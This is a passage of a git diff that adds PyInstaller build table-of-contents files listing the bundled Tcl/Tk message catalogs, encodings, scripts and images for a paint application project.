('tcl/msgs/ru_ua.msg', '/usr/share/tcltk/tcl8.6/msgs/ru_ua.msg', 'DATA'), + ('tcl/msgs/gl.msg', '/usr/share/tcltk/tcl8.6/msgs/gl.msg', 'DATA'), + ('tcl/msgs/hr.msg', '/usr/share/tcltk/tcl8.6/msgs/hr.msg', 'DATA'), + ('tcl/msgs/hu.msg', '/usr/share/tcltk/tcl8.6/msgs/hu.msg', 'DATA'), + ('tcl/msgs/en_ph.msg', '/usr/share/tcltk/tcl8.6/msgs/en_ph.msg', 'DATA'), + ('tcl/msgs/fr_ch.msg', '/usr/share/tcltk/tcl8.6/msgs/fr_ch.msg', 'DATA'), + ('tcl/msgs/de_be.msg', '/usr/share/tcltk/tcl8.6/msgs/de_be.msg', 'DATA'), + ('tcl/msgs/is.msg', '/usr/share/tcltk/tcl8.6/msgs/is.msg', 'DATA'), + ('tcl/msgs/kw_gb.msg', '/usr/share/tcltk/tcl8.6/msgs/kw_gb.msg', 'DATA'), + ('tcl/msgs/nl_be.msg', '/usr/share/tcltk/tcl8.6/msgs/nl_be.msg', 'DATA'), + ('tcl/msgs/en_nz.msg', '/usr/share/tcltk/tcl8.6/msgs/en_nz.msg', 'DATA'), + ('tcl/msgs/fo.msg', '/usr/share/tcltk/tcl8.6/msgs/fo.msg', 'DATA'), + ('tcl/msgs/es_ve.msg', '/usr/share/tcltk/tcl8.6/msgs/es_ve.msg', 'DATA'), + ('tcl/msgs/ar_sy.msg', '/usr/share/tcltk/tcl8.6/msgs/ar_sy.msg', 'DATA'), + ('tcl/msgs/ko.msg', '/usr/share/tcltk/tcl8.6/msgs/ko.msg', 'DATA'), + ('tcl/msgs/mr.msg', '/usr/share/tcltk/tcl8.6/msgs/mr.msg', 'DATA'), + ('tcl/msgs/fa_in.msg', '/usr/share/tcltk/tcl8.6/msgs/fa_in.msg', 'DATA'), + ('tcl/msgs/mk.msg', '/usr/share/tcltk/tcl8.6/msgs/mk.msg', 'DATA'), + ('tcl/msgs/es_bo.msg', '/usr/share/tcltk/tcl8.6/msgs/es_bo.msg', 'DATA'), + ('tcl/msgs/tr.msg', '/usr/share/tcltk/tcl8.6/msgs/tr.msg', 'DATA'), + ('tcl/msgs/ar.msg', '/usr/share/tcltk/tcl8.6/msgs/ar.msg', 'DATA'), + ('tcl/msgs/eo.msg', '/usr/share/tcltk/tcl8.6/msgs/eo.msg', 'DATA'), + ('tcl/msgs/et.msg', '/usr/share/tcltk/tcl8.6/msgs/et.msg', 'DATA'), + ('tcl/msgs/sl.msg', '/usr/share/tcltk/tcl8.6/msgs/sl.msg', 'DATA'), + ('tcl/msgs/pt.msg', '/usr/share/tcltk/tcl8.6/msgs/pt.msg', 'DATA'), + ('tcl/msgs/es_mx.msg', '/usr/share/tcltk/tcl8.6/msgs/es_mx.msg', 'DATA'), + ('tcl/msgs/es_cl.msg', '/usr/share/tcltk/tcl8.6/msgs/es_cl.msg', 'DATA'), + ('tcl/msgs/es_pr.msg', '/usr/share/tcltk/tcl8.6/msgs/es_pr.msg', 'DATA'), + ('tcl/msgs/ga_ie.msg', '/usr/share/tcltk/tcl8.6/msgs/ga_ie.msg', 'DATA'), + ('tcl/msgs/en_gb.msg', '/usr/share/tcltk/tcl8.6/msgs/en_gb.msg', 'DATA'), + ('tcl/msgs/id_id.msg', '/usr/share/tcltk/tcl8.6/msgs/id_id.msg', 'DATA'), + ('tcl/msgs/zh_cn.msg', '/usr/share/tcltk/tcl8.6/msgs/zh_cn.msg', 'DATA'), + ('tcl/msgs/en_in.msg', '/usr/share/tcltk/tcl8.6/msgs/en_in.msg', 'DATA'), + ('tcl/msgs/ca.msg', '/usr/share/tcltk/tcl8.6/msgs/ca.msg', 'DATA'), + ('tcl/msgs/es_pa.msg', '/usr/share/tcltk/tcl8.6/msgs/es_pa.msg', 'DATA'), + ('tcl/msgs/ja.msg', '/usr/share/tcltk/tcl8.6/msgs/ja.msg', 'DATA'), + ('tcl/msgs/te.msg', '/usr/share/tcltk/tcl8.6/msgs/te.msg', 'DATA'), + ('tcl/msgs/en_za.msg', '/usr/share/tcltk/tcl8.6/msgs/en_za.msg', 'DATA'), + ('tcl/msgs/kl_gl.msg', '/usr/share/tcltk/tcl8.6/msgs/kl_gl.msg', 'DATA'), + ('tcl/msgs/ta_in.msg', '/usr/share/tcltk/tcl8.6/msgs/ta_in.msg', 'DATA'), + ('tcl/msgs/ar_jo.msg', '/usr/share/tcltk/tcl8.6/msgs/ar_jo.msg', 'DATA'), + ('tcl/msgs/ta.msg', '/usr/share/tcltk/tcl8.6/msgs/ta.msg', 'DATA'), + ('tcl/msgs/fr_be.msg', '/usr/share/tcltk/tcl8.6/msgs/fr_be.msg', 'DATA'), + ('tcl/msgs/sq.msg', '/usr/share/tcltk/tcl8.6/msgs/sq.msg', 'DATA'), + ('tcl/msgs/fi.msg', '/usr/share/tcltk/tcl8.6/msgs/fi.msg', 'DATA'), + ('tcl/msgs/es_cr.msg', '/usr/share/tcltk/tcl8.6/msgs/es_cr.msg', 'DATA'), + ('tcl/msgs/ms_my.msg', '/usr/share/tcltk/tcl8.6/msgs/ms_my.msg', 'DATA'), + ('tcl/msgs/es.msg', '/usr/share/tcltk/tcl8.6/msgs/es.msg', 'DATA'), + ('tcl/msgs/es_ec.msg', '/usr/share/tcltk/tcl8.6/msgs/es_ec.msg', 'DATA'), + ('tcl/msgs/it.msg', '/usr/share/tcltk/tcl8.6/msgs/it.msg', 'DATA'), + ('tcl/msgs/de_at.msg', '/usr/share/tcltk/tcl8.6/msgs/de_at.msg', 'DATA'), + ('tcl/msgs/it_ch.msg', '/usr/share/tcltk/tcl8.6/msgs/it_ch.msg', 'DATA'), + ('tcl/msgs/be.msg', '/usr/share/tcltk/tcl8.6/msgs/be.msg', 'DATA'), + ('tcl/msgs/bn.msg', '/usr/share/tcltk/tcl8.6/msgs/bn.msg', 'DATA'), + ('tcl/msgs/es_hn.msg', '/usr/share/tcltk/tcl8.6/msgs/es_hn.msg', 'DATA'), + ('tcl/msgs/hi.msg', '/usr/share/tcltk/tcl8.6/msgs/hi.msg', 'DATA'), + ('tcl/msgs/sk.msg', '/usr/share/tcltk/tcl8.6/msgs/sk.msg', 'DATA'), + ('tcl/msgs/lv.msg', '/usr/share/tcltk/tcl8.6/msgs/lv.msg', 'DATA'), + ('tcl/msgs/kok.msg', '/usr/share/tcltk/tcl8.6/msgs/kok.msg', 'DATA'), + ('tcl/msgs/es_sv.msg', '/usr/share/tcltk/tcl8.6/msgs/es_sv.msg', 'DATA'), + ('tcl/msgs/ko_kr.msg', '/usr/share/tcltk/tcl8.6/msgs/ko_kr.msg', 'DATA'), + ('tcl/msgs/kl.msg', '/usr/share/tcltk/tcl8.6/msgs/kl.msg', 'DATA'), + ('tcl/msgs/zh.msg', '/usr/share/tcltk/tcl8.6/msgs/zh.msg', 'DATA'), + ('tcl/msgs/ro.msg', '/usr/share/tcltk/tcl8.6/msgs/ro.msg', 'DATA'), + ('tcl/msgs/fa.msg', '/usr/share/tcltk/tcl8.6/msgs/fa.msg', 'DATA'), + ('tcl/msgs/en_au.msg', '/usr/share/tcltk/tcl8.6/msgs/en_au.msg', 'DATA'), + ('tcl/msgs/ar_in.msg', '/usr/share/tcltk/tcl8.6/msgs/ar_in.msg', 'DATA'), + ('tcl/msgs/pt_br.msg', '/usr/share/tcltk/tcl8.6/msgs/pt_br.msg', 'DATA'), + ('tcl/msgs/zh_tw.msg', '/usr/share/tcltk/tcl8.6/msgs/zh_tw.msg', 'DATA'), + ('tcl/msgs/hi_in.msg', '/usr/share/tcltk/tcl8.6/msgs/hi_in.msg', 'DATA'), + ('tcl/msgs/en_hk.msg', '/usr/share/tcltk/tcl8.6/msgs/en_hk.msg', 'DATA'), + ('tcl/msgs/he.msg', '/usr/share/tcltk/tcl8.6/msgs/he.msg', 'DATA'), + ('tcl/msgs/sr.msg', '/usr/share/tcltk/tcl8.6/msgs/sr.msg', 'DATA'), + ('tcl/msgs/ms.msg', '/usr/share/tcltk/tcl8.6/msgs/ms.msg', 'DATA'), + ('tcl/msgs/kok_in.msg', '/usr/share/tcltk/tcl8.6/msgs/kok_in.msg', 'DATA'), + ('tcl/msgs/id.msg', '/usr/share/tcltk/tcl8.6/msgs/id.msg', 'DATA'), + ('tcl/msgs/en_zw.msg', '/usr/share/tcltk/tcl8.6/msgs/en_zw.msg', 'DATA'), + ('tcl/msgs/en_bw.msg', '/usr/share/tcltk/tcl8.6/msgs/en_bw.msg', 'DATA'), + ('tcl/msgs/fr_ca.msg', '/usr/share/tcltk/tcl8.6/msgs/fr_ca.msg', 'DATA'), + ('tcl/msgs/fo_fo.msg', '/usr/share/tcltk/tcl8.6/msgs/fo_fo.msg', 'DATA'), + ('tcl/msgs/zh_sg.msg', '/usr/share/tcltk/tcl8.6/msgs/zh_sg.msg', 'DATA'), + ('tcl/msgs/af_za.msg', '/usr/share/tcltk/tcl8.6/msgs/af_za.msg', 'DATA'), + ('tcl/msgs/kw.msg', '/usr/share/tcltk/tcl8.6/msgs/kw.msg', 'DATA'), + ('tcl/msgs/vi.msg', '/usr/share/tcltk/tcl8.6/msgs/vi.msg', 'DATA'), + ('tcl/msgs/pl.msg', '/usr/share/tcltk/tcl8.6/msgs/pl.msg', 'DATA'), + ('tcl/msgs/es_ni.msg', '/usr/share/tcltk/tcl8.6/msgs/es_ni.msg', 'DATA'), + ('tcl/msgs/sv.msg', '/usr/share/tcltk/tcl8.6/msgs/sv.msg', 'DATA'), + ('tcl/msgs/sh.msg', '/usr/share/tcltk/tcl8.6/msgs/sh.msg', 'DATA'), + ('tcl/msgs/te_in.msg', '/usr/share/tcltk/tcl8.6/msgs/te_in.msg', 'DATA'), + ('tcl/encoding/cp855.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp855.enc', + 'DATA'), + ('tcl/encoding/iso8859-10.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso8859-10.enc', + 'DATA'), + ('tcl/encoding/jis0212.enc', + '/usr/share/tcltk/tcl8.6/encoding/jis0212.enc', + 'DATA'), + ('tcl/encoding/iso2022-jp.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso2022-jp.enc', + 'DATA'), + ('tcl/encoding/iso8859-8.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso8859-8.enc', + 'DATA'), + ('tcl/encoding/euc-cn.enc', + '/usr/share/tcltk/tcl8.6/encoding/euc-cn.enc', + 'DATA'), + ('tcl/encoding/cp1251.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp1251.enc', + 'DATA'), + ('tcl/encoding/cp874.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp874.enc', + 'DATA'), + ('tcl/encoding/cp861.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp861.enc', + 'DATA'), + ('tcl/encoding/macJapan.enc', + '/usr/share/tcltk/tcl8.6/encoding/macJapan.enc', + 'DATA'), + ('tcl/encoding/macCroatian.enc', + '/usr/share/tcltk/tcl8.6/encoding/macCroatian.enc', + 'DATA'), + ('tcl/encoding/ascii.enc', + '/usr/share/tcltk/tcl8.6/encoding/ascii.enc', + 'DATA'), + ('tcl/encoding/iso2022.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso2022.enc', + 'DATA'), + ('tcl/encoding/cns11643.enc', + '/usr/share/tcltk/tcl8.6/encoding/cns11643.enc', + 'DATA'), + ('tcl/encoding/jis0201.enc', + '/usr/share/tcltk/tcl8.6/encoding/jis0201.enc', + 'DATA'), + ('tcl/encoding/iso8859-13.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso8859-13.enc', + 'DATA'), + ('tcl/encoding/macTurkish.enc', + '/usr/share/tcltk/tcl8.6/encoding/macTurkish.enc', + 'DATA'), + ('tcl/encoding/cp869.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp869.enc', + 'DATA'), + ('tcl/encoding/cp852.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp852.enc', + 'DATA'), + ('tcl/encoding/tis-620.enc', + '/usr/share/tcltk/tcl8.6/encoding/tis-620.enc', + 'DATA'), + ('tcl/encoding/koi8-u.enc', + '/usr/share/tcltk/tcl8.6/encoding/koi8-u.enc', + 'DATA'), + ('tcl/encoding/euc-kr.enc', + '/usr/share/tcltk/tcl8.6/encoding/euc-kr.enc', + 'DATA'), + ('tcl/encoding/gb2312-raw.enc', + '/usr/share/tcltk/tcl8.6/encoding/gb2312-raw.enc', + 'DATA'), + ('tcl/encoding/cp775.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp775.enc', + 'DATA'), + ('tcl/encoding/cp857.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp857.enc', + 'DATA'), + ('tcl/encoding/iso8859-4.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso8859-4.enc', + 'DATA'), + ('tcl/encoding/cp860.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp860.enc', + 'DATA'), + ('tcl/encoding/cp1257.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp1257.enc', + 'DATA'), + ('tcl/encoding/euc-jp.enc', + '/usr/share/tcltk/tcl8.6/encoding/euc-jp.enc', + 'DATA'), + ('tcl/encoding/cp949.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp949.enc', + 'DATA'), + ('tcl/encoding/cp1256.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp1256.enc', + 'DATA'), + ('tcl/encoding/gb12345.enc', + '/usr/share/tcltk/tcl8.6/encoding/gb12345.enc', + 'DATA'), + ('tcl/encoding/iso8859-9.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso8859-9.enc', + 'DATA'), + ('tcl/encoding/jis0208.enc', + '/usr/share/tcltk/tcl8.6/encoding/jis0208.enc', + 'DATA'), + ('tcl/encoding/cp862.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp862.enc', + 'DATA'), + ('tcl/encoding/iso8859-3.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso8859-3.enc', + 'DATA'), + ('tcl/encoding/cp864.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp864.enc', + 'DATA'), + ('tcl/encoding/iso8859-5.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso8859-5.enc', + 'DATA'), + ('tcl/encoding/iso8859-6.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso8859-6.enc', + 'DATA'), + ('tcl/encoding/cp863.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp863.enc', + 'DATA'), + ('tcl/encoding/cp950.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp950.enc', + 'DATA'), + ('tcl/encoding/iso8859-11.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso8859-11.enc', + 'DATA'), + ('tcl/encoding/cp866.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp866.enc', + 'DATA'), + ('tcl/encoding/macRoman.enc', + '/usr/share/tcltk/tcl8.6/encoding/macRoman.enc', + 'DATA'), + ('tcl/encoding/macRomania.enc', + '/usr/share/tcltk/tcl8.6/encoding/macRomania.enc', + 'DATA'), + ('tcl/encoding/cp1252.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp1252.enc', + 'DATA'), + ('tcl/encoding/macUkraine.enc', + '/usr/share/tcltk/tcl8.6/encoding/macUkraine.enc', + 'DATA'), + ('tcl/encoding/iso8859-16.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso8859-16.enc', + 'DATA'), + ('tcl/encoding/koi8-r.enc', + '/usr/share/tcltk/tcl8.6/encoding/koi8-r.enc', + 'DATA'), + ('tcl/encoding/ksc5601.enc', + '/usr/share/tcltk/tcl8.6/encoding/ksc5601.enc', + 'DATA'), + ('tcl/encoding/iso8859-7.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso8859-7.enc', + 'DATA'), + ('tcl/encoding/shiftjis.enc', + '/usr/share/tcltk/tcl8.6/encoding/shiftjis.enc', + 'DATA'), + ('tcl/encoding/cp1258.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp1258.enc', + 'DATA'), + ('tcl/encoding/cp932.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp932.enc', + 'DATA'), + ('tcl/encoding/macCyrillic.enc', + '/usr/share/tcltk/tcl8.6/encoding/macCyrillic.enc', + 'DATA'), + ('tcl/encoding/big5.enc', + '/usr/share/tcltk/tcl8.6/encoding/big5.enc', + 'DATA'), + ('tcl/encoding/macCentEuro.enc', + '/usr/share/tcltk/tcl8.6/encoding/macCentEuro.enc', + 'DATA'), + ('tcl/encoding/cp850.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp850.enc', + 'DATA'), + ('tcl/encoding/cp737.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp737.enc', + 'DATA'), + ('tcl/encoding/iso8859-1.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso8859-1.enc', + 'DATA'), + ('tcl/encoding/dingbats.enc', + '/usr/share/tcltk/tcl8.6/encoding/dingbats.enc', + 'DATA'), + ('tcl/encoding/iso8859-14.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso8859-14.enc', + 'DATA'), + ('tcl/encoding/cp1250.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp1250.enc', + 'DATA'), + ('tcl/encoding/cp1253.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp1253.enc', + 'DATA'), + ('tcl/encoding/cp1254.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp1254.enc', + 'DATA'), + ('tcl/encoding/ebcdic.enc', + '/usr/share/tcltk/tcl8.6/encoding/ebcdic.enc', + 'DATA'), + ('tcl/encoding/macThai.enc', + '/usr/share/tcltk/tcl8.6/encoding/macThai.enc', + 'DATA'), + ('tcl/encoding/cp1255.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp1255.enc', + 'DATA'), + ('tcl/encoding/cp865.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp865.enc', + 'DATA'), + ('tcl/encoding/macDingbats.enc', + '/usr/share/tcltk/tcl8.6/encoding/macDingbats.enc', + 'DATA'), + ('tcl/encoding/macGreek.enc', + '/usr/share/tcltk/tcl8.6/encoding/macGreek.enc', + 'DATA'), + ('tcl/encoding/macIceland.enc', + '/usr/share/tcltk/tcl8.6/encoding/macIceland.enc', + 'DATA'), + ('tcl/encoding/cp437.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp437.enc', + 'DATA'), + ('tcl/encoding/iso2022-kr.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso2022-kr.enc', + 'DATA'), + ('tcl/encoding/iso8859-15.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso8859-15.enc', + 'DATA'), + ('tcl/encoding/gb2312.enc', + '/usr/share/tcltk/tcl8.6/encoding/gb2312.enc', + 'DATA'), + ('tcl/encoding/cp936.enc', + '/usr/share/tcltk/tcl8.6/encoding/cp936.enc', + 'DATA'), + ('tcl/encoding/gb1988.enc', + '/usr/share/tcltk/tcl8.6/encoding/gb1988.enc', + 'DATA'), + ('tcl/encoding/iso8859-2.enc', + '/usr/share/tcltk/tcl8.6/encoding/iso8859-2.enc', + 'DATA'), + ('tcl/encoding/symbol.enc', + '/usr/share/tcltk/tcl8.6/encoding/symbol.enc', + 'DATA'), + ('tcl/opt0.4/pkgIndex.tcl', + '/usr/share/tcltk/tcl8.6/opt0.4/pkgIndex.tcl', + 'DATA'), + ('tcl/opt0.4/optparse.tcl', + '/usr/share/tcltk/tcl8.6/opt0.4/optparse.tcl', + 'DATA'), + ('tcl/tcl8/platform-1.0.18.tm', + '/usr/share/tcltk/tcl8.6/tcl8/platform-1.0.18.tm', + 'DATA'), + ('tcl/tcl8/http-2.9.5.tm', + '/usr/share/tcltk/tcl8.6/tcl8/http-2.9.5.tm', + 'DATA'), + ('tcl/tcl8/msgcat-1.6.1.tm', + '/usr/share/tcltk/tcl8.6/tcl8/msgcat-1.6.1.tm', + 'DATA'), + ('tcl/tcl8/tcltest-2.5.3.tm', + '/usr/share/tcltk/tcl8.6/tcl8/tcltest-2.5.3.tm', + 'DATA'), + ('tcl/tcl8/platform/shell-1.1.4.tm', + '/usr/share/tcltk/tcl8.6/tcl8/platform/shell-1.1.4.tm', + 'DATA'), + ('tcl/http1.0/pkgIndex.tcl', + '/usr/share/tcltk/tcl8.6/http1.0/pkgIndex.tcl', + 'DATA'), + ('tcl/http1.0/http.tcl', '/usr/share/tcltk/tcl8.6/http1.0/http.tcl', 'DATA')]) diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/Tree-01.toc b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/Tree-01.toc new file mode 100644 index 0000000..568eb49 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/Tree-01.toc @@ -0,0 +1,116 @@ +('/usr/share/tcltk/tk8.6', + 'tk', + ['demos', '*.lib', 'tkConfig.sh'], + 'DATA', + [('tk/tk.tcl', '/usr/share/tcltk/tk8.6/tk.tcl', 'DATA'), + ('tk/tclIndex', '/usr/share/tcltk/tk8.6/tclIndex', 'DATA'), + ('tk/unsupported.tcl', '/usr/share/tcltk/tk8.6/unsupported.tcl', 'DATA'), + ('tk/comdlg.tcl', '/usr/share/tcltk/tk8.6/comdlg.tcl', 'DATA'), + ('tk/tkAppInit.c', '/usr/share/tcltk/tk8.6/tkAppInit.c', 'DATA'), + ('tk/tkfbox.tcl', '/usr/share/tcltk/tk8.6/tkfbox.tcl', 'DATA'), + ('tk/optMenu.tcl', '/usr/share/tcltk/tk8.6/optMenu.tcl', 'DATA'), + ('tk/dialog.tcl', '/usr/share/tcltk/tk8.6/dialog.tcl', 'DATA'), + ('tk/msgbox.tcl', '/usr/share/tcltk/tk8.6/msgbox.tcl', 'DATA'), + ('tk/xmfbox.tcl', '/usr/share/tcltk/tk8.6/xmfbox.tcl', 'DATA'), + ('tk/menu.tcl', '/usr/share/tcltk/tk8.6/menu.tcl', 'DATA'), + ('tk/entry.tcl', '/usr/share/tcltk/tk8.6/entry.tcl', 'DATA'), + ('tk/bgerror.tcl', '/usr/share/tcltk/tk8.6/bgerror.tcl', 'DATA'), + ('tk/mkpsenc.tcl', '/usr/share/tcltk/tk8.6/mkpsenc.tcl', 'DATA'), + ('tk/console.tcl', '/usr/share/tcltk/tk8.6/console.tcl', 'DATA'), + ('tk/spinbox.tcl', '/usr/share/tcltk/tk8.6/spinbox.tcl', 'DATA'), + ('tk/safetk.tcl', '/usr/share/tcltk/tk8.6/safetk.tcl', 'DATA'), + ('tk/focus.tcl', '/usr/share/tcltk/tk8.6/focus.tcl', 'DATA'), + ('tk/tearoff.tcl', '/usr/share/tcltk/tk8.6/tearoff.tcl', 'DATA'), + ('tk/iconlist.tcl', '/usr/share/tcltk/tk8.6/iconlist.tcl', 'DATA'), + ('tk/icons.tcl', '/usr/share/tcltk/tk8.6/icons.tcl', 'DATA'), + ('tk/megawidget.tcl', '/usr/share/tcltk/tk8.6/megawidget.tcl', 'DATA'), + ('tk/button.tcl', '/usr/share/tcltk/tk8.6/button.tcl', 'DATA'), + ('tk/panedwindow.tcl', '/usr/share/tcltk/tk8.6/panedwindow.tcl', 'DATA'), + ('tk/scrlbar.tcl', '/usr/share/tcltk/tk8.6/scrlbar.tcl', 'DATA'), + ('tk/palette.tcl', '/usr/share/tcltk/tk8.6/palette.tcl', 'DATA'), + ('tk/listbox.tcl', '/usr/share/tcltk/tk8.6/listbox.tcl', 'DATA'), + ('tk/text.tcl', '/usr/share/tcltk/tk8.6/text.tcl', 'DATA'), + ('tk/scale.tcl', '/usr/share/tcltk/tk8.6/scale.tcl', 'DATA'), + ('tk/fontchooser.tcl', '/usr/share/tcltk/tk8.6/fontchooser.tcl', 'DATA'), + ('tk/obsolete.tcl', '/usr/share/tcltk/tk8.6/obsolete.tcl', 'DATA'), + ('tk/choosedir.tcl', '/usr/share/tcltk/tk8.6/choosedir.tcl', 'DATA'), + ('tk/clrpick.tcl', '/usr/share/tcltk/tk8.6/clrpick.tcl', 'DATA'), + ('tk/msgs/cs.msg', '/usr/share/tcltk/tk8.6/msgs/cs.msg', 'DATA'), + ('tk/msgs/fr.msg', '/usr/share/tcltk/tk8.6/msgs/fr.msg', 'DATA'), + ('tk/msgs/de.msg', '/usr/share/tcltk/tk8.6/msgs/de.msg', 'DATA'), + ('tk/msgs/da.msg', '/usr/share/tcltk/tk8.6/msgs/da.msg', 'DATA'), + ('tk/msgs/ru.msg', '/usr/share/tcltk/tk8.6/msgs/ru.msg', 'DATA'), + ('tk/msgs/el.msg', '/usr/share/tcltk/tk8.6/msgs/el.msg', 'DATA'), + ('tk/msgs/nl.msg', '/usr/share/tcltk/tk8.6/msgs/nl.msg', 'DATA'), + ('tk/msgs/hu.msg', '/usr/share/tcltk/tk8.6/msgs/hu.msg', 'DATA'), + ('tk/msgs/en.msg', '/usr/share/tcltk/tk8.6/msgs/en.msg', 'DATA'), + ('tk/msgs/eo.msg', '/usr/share/tcltk/tk8.6/msgs/eo.msg', 'DATA'), + ('tk/msgs/pt.msg', '/usr/share/tcltk/tk8.6/msgs/pt.msg', 'DATA'), + ('tk/msgs/en_gb.msg', '/usr/share/tcltk/tk8.6/msgs/en_gb.msg', 'DATA'), + ('tk/msgs/es.msg', '/usr/share/tcltk/tk8.6/msgs/es.msg', 'DATA'), + ('tk/msgs/it.msg', '/usr/share/tcltk/tk8.6/msgs/it.msg', 'DATA'), + ('tk/msgs/pl.msg', '/usr/share/tcltk/tk8.6/msgs/pl.msg', 'DATA'), + ('tk/msgs/sv.msg', '/usr/share/tcltk/tk8.6/msgs/sv.msg', 'DATA'), + ('tk/ttk/vistaTheme.tcl', + '/usr/share/tcltk/tk8.6/ttk/vistaTheme.tcl', + 'DATA'), + ('tk/ttk/winTheme.tcl', '/usr/share/tcltk/tk8.6/ttk/winTheme.tcl', 'DATA'), + ('tk/ttk/fonts.tcl', '/usr/share/tcltk/tk8.6/ttk/fonts.tcl', 'DATA'), + ('tk/ttk/defaults.tcl', '/usr/share/tcltk/tk8.6/ttk/defaults.tcl', 'DATA'), + ('tk/ttk/combobox.tcl', '/usr/share/tcltk/tk8.6/ttk/combobox.tcl', 'DATA'), + ('tk/ttk/clamTheme.tcl', '/usr/share/tcltk/tk8.6/ttk/clamTheme.tcl', 'DATA'), + ('tk/ttk/cursors.tcl', '/usr/share/tcltk/tk8.6/ttk/cursors.tcl', 'DATA'), + ('tk/ttk/entry.tcl', '/usr/share/tcltk/tk8.6/ttk/entry.tcl', 'DATA'), + ('tk/ttk/menubutton.tcl', + '/usr/share/tcltk/tk8.6/ttk/menubutton.tcl', + 'DATA'), + ('tk/ttk/utils.tcl', '/usr/share/tcltk/tk8.6/ttk/utils.tcl', 'DATA'), + ('tk/ttk/scrollbar.tcl', '/usr/share/tcltk/tk8.6/ttk/scrollbar.tcl', 'DATA'), + ('tk/ttk/spinbox.tcl', '/usr/share/tcltk/tk8.6/ttk/spinbox.tcl', 'DATA'), + ('tk/ttk/xpTheme.tcl', '/usr/share/tcltk/tk8.6/ttk/xpTheme.tcl', 'DATA'), + ('tk/ttk/sizegrip.tcl', '/usr/share/tcltk/tk8.6/ttk/sizegrip.tcl', 'DATA'), + ('tk/ttk/notebook.tcl', '/usr/share/tcltk/tk8.6/ttk/notebook.tcl', 'DATA'), + ('tk/ttk/ttk.tcl', '/usr/share/tcltk/tk8.6/ttk/ttk.tcl', 'DATA'), + ('tk/ttk/altTheme.tcl', '/usr/share/tcltk/tk8.6/ttk/altTheme.tcl', 'DATA'), + ('tk/ttk/button.tcl', '/usr/share/tcltk/tk8.6/ttk/button.tcl', 'DATA'), + ('tk/ttk/aquaTheme.tcl', '/usr/share/tcltk/tk8.6/ttk/aquaTheme.tcl', 'DATA'), + ('tk/ttk/panedwindow.tcl', + '/usr/share/tcltk/tk8.6/ttk/panedwindow.tcl', + 'DATA'), + ('tk/ttk/progress.tcl', '/usr/share/tcltk/tk8.6/ttk/progress.tcl', 'DATA'), + ('tk/ttk/classicTheme.tcl', + '/usr/share/tcltk/tk8.6/ttk/classicTheme.tcl', + 'DATA'), + ('tk/ttk/scale.tcl', '/usr/share/tcltk/tk8.6/ttk/scale.tcl', 'DATA'), + ('tk/ttk/treeview.tcl', '/usr/share/tcltk/tk8.6/ttk/treeview.tcl', 'DATA'), + ('tk/images/logoMed.gif', + '/usr/share/tcltk/tk8.6/images/logoMed.gif', + 'DATA'), + ('tk/images/pwrdLogo100.gif', + '/usr/share/tcltk/tk8.6/images/pwrdLogo100.gif', + 'DATA'), + ('tk/images/pwrdLogo75.gif', + '/usr/share/tcltk/tk8.6/images/pwrdLogo75.gif', + 'DATA'), + ('tk/images/README', '/usr/share/tcltk/tk8.6/images/README', 'DATA'), + ('tk/images/logo64.gif', '/usr/share/tcltk/tk8.6/images/logo64.gif', 'DATA'), + ('tk/images/pwrdLogo.eps', + '/usr/share/tcltk/tk8.6/images/pwrdLogo.eps', + 'DATA'), + ('tk/images/pwrdLogo150.gif', + '/usr/share/tcltk/tk8.6/images/pwrdLogo150.gif', + 'DATA'), + ('tk/images/pwrdLogo175.gif', + '/usr/share/tcltk/tk8.6/images/pwrdLogo175.gif', + 'DATA'), + ('tk/images/logoLarge.gif', + '/usr/share/tcltk/tk8.6/images/logoLarge.gif', + 'DATA'), + ('tk/images/tai-ku.gif', '/usr/share/tcltk/tk8.6/images/tai-ku.gif', 'DATA'), + ('tk/images/logo.eps', '/usr/share/tcltk/tk8.6/images/logo.eps', 'DATA'), + ('tk/images/pwrdLogo200.gif', + '/usr/share/tcltk/tk8.6/images/pwrdLogo200.gif', + 'DATA'), + ('tk/images/logo100.gif', + '/usr/share/tcltk/tk8.6/images/logo100.gif', + 'DATA')]) diff --git 